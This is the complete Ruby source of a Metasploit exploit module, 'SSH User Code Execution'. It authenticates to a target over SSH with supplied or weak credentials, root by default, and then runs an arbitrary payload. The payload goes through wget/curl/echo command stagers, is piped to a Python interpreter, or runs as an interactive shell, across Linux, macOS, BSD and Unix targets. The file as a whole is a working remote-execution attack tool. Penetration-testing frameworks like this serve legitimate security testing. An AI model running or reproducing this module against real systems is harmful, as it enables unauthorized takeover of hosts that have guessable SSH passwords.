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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ManualRanking
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Remote::SSH
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  attr_accessor :ssh_socket
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  def initialize
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    super(
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      'Name' => 'SSH User Code Execution',
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      'Description' => %q(
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        This module connects to the target system and executes the necessary
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        commands to run the specified payload via SSH. If a native payload is
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        specified, an appropriate stager will be used.
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      ),
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      'Author' => ['Spencer McIntyre', 'Brandon Knight'],
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      'References' => [
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        [ 'CVE', '1999-0502'], # Weak password
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        [ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]
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      ],
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      'License' => MSF_LICENSE,
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      'Privileged' => true,
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      'DefaultOptions' => {
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        'PrependFork' => 'true',
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        'EXITFUNC' => 'process'
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      },
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      'Payload' => {
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        'Space' => 800000,
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        'BadChars' => "",
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        'DisableNops' => true
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      },
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      'Platform' => %w[linux osx unix python bsd],
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      'CmdStagerFlavor' => %w[bourne echo printf wget],
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      'Targets' => [
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        [
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          'Linux Command',
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          {
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            'Arch' => ARCH_CMD,
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            'Platform' => 'linux'
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          }
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        ],
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        [
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          'Linux x86',
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          {
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            'Arch' => ARCH_X86,
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            'Platform' => 'linux'
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          }
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        ],
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        [
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          'Linux x64',
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          {
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            'Arch' => ARCH_X64,
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            'Platform' => 'linux'
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          }
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        ],
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        [
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          'Linux armle',
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          {
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            'Arch' => ARCH_ARMLE,
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            'Platform' => 'linux'
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          }
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        ],
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        [
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          'Linux mipsle',
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          {
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            'Arch' => ARCH_MIPSLE,
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            'Platform' => 'linux',
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            'CmdStagerFlavor' => %w[curl wget]
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          }
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        ],
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        [
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          'Linux mipsbe',
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          {
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            'Arch' => ARCH_MIPSBE,
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            'Platform' => 'linux',
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            'CmdStagerFlavor' => %w[wget]
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          }
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        ],
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        [
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          'Linux aarch64',
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          {
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            'Arch' => ARCH_AARCH64,
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            'Platform' => 'linux'
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          }
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        ],
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        [
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          'OSX x86',
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          {
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            'Arch' => ARCH_X86,
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            'Platform' => 'osx',
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            'CmdStagerFlavor' => %w[curl wget]
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          }
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        ],
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        [
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          'OSX x64',
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          {
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            'Arch' => ARCH_X64,
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            'Platform' => 'osx',
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            'CmdStagerFlavor' => %w[curl wget]
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          }
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        ],
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        [
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          'BSD x86',
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          {
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            'Arch' => ARCH_X86,
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            'Platform' => 'bsd',
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            'CmdStagerFlavor' => %w[printf curl wget]
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          }
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        ],
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        [
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          'BSD x64',
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          {
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            'Arch' => ARCH_X64,
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            'Platform' => 'bsd',
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            'CmdStagerFlavor' => %w[printf curl wget]
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          }
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        ],
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        [
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          'Python',
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          {
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            'Arch' => ARCH_PYTHON,
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            'Platform' => 'python'
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          }
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        ],
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        [
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          'Unix Cmd',
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          {
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            'Arch' => ARCH_CMD,
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            'Platform' => 'unix'
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          }
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        ],
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        [
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          'Interactive SSH',
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          {
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            'DefaultOptions' => {
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              'PAYLOAD' => 'generic/ssh/interact',
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              'WfsDelay' => 5
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            },
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            'Payload' => {
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              'Compat' => {
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                'PayloadType' => 'ssh_interact',
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              }
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            }
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          }
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        ]
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      ],
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      'DefaultTarget' => 0,
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      # For the CVE
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      'DisclosureDate' => 'Jan 01 1999',
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      'Notes' => {
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        'Stability' => [ CRASH_SAFE, ],
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        'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
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        'Reliability' => [ REPEATABLE_SESSION, ],
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      },
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    )
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    register_options(
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      [
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        OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
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        OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
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        Opt::RHOST(),
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        Opt::RPORT(22)
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      ]
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    )
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    register_advanced_options(
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      [
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        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
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      ]
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    )
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  end
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  def execute_command(cmd, opts = {})
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    vprint_status("Executing #{cmd}")
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    begin
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      Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }
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    rescue Timeout::Error
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      print_warning('Timed out while waiting for command to return')
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      @timeout = true
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    end
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  end
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  def do_login(ip, user, pass, port)
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    opt_hash = ssh_client_defaults.merge({
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      auth_methods: ['password', 'keyboard-interactive'],
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      port: port,
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      password: pass
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    })
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    opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
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    begin
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      self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
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    rescue Rex::ConnectionError
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      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
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    rescue Net::SSH::Disconnect, ::EOFError
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      fail_with(Failure::Disconnected, 'Timed out during negotiation')
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    rescue Net::SSH::AuthenticationFailed
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      fail_with(Failure::NoAccess, 'Failed authentication')
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    rescue Net::SSH::Exception => e
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      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
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    end
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    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
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  end
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  def binary_exists(binary, platform: nil)
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    Msf::Sessions::CommandShell.binary_exists(binary, platform: platform, &method(:execute_command))
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  end
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  def execute_python
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    python_binary = binary_exists('python', platform: 'unix')
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    python_binary ||= binary_exists('python3', platform: 'unix')
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    python_binary ||= binary_exists('python2', platform: 'unix')
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    fail_with(Failure::NoTarget, 'Python was not found on the target system') if python_binary.nil?
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    execute_command("echo \"#{payload.encoded}\" | #{python_binary}")
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  end
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  def exploit
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    do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
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    if target.name == 'Interactive SSH'
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      handler(ssh_socket)
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      return
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    end
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    print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
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    case target['Platform']
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    when 'python'
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      execute_python
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    when 'unix'
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      execute_command(payload.encoded)
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    else
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      if target['Arch'] == ARCH_CMD
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        execute_command(payload.encoded)
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      else
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        execute_cmdstager(linemax: 500)
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      end
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    end
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    @timeout ? ssh_socket.shutdown! : ssh_socket.close
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  end
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end
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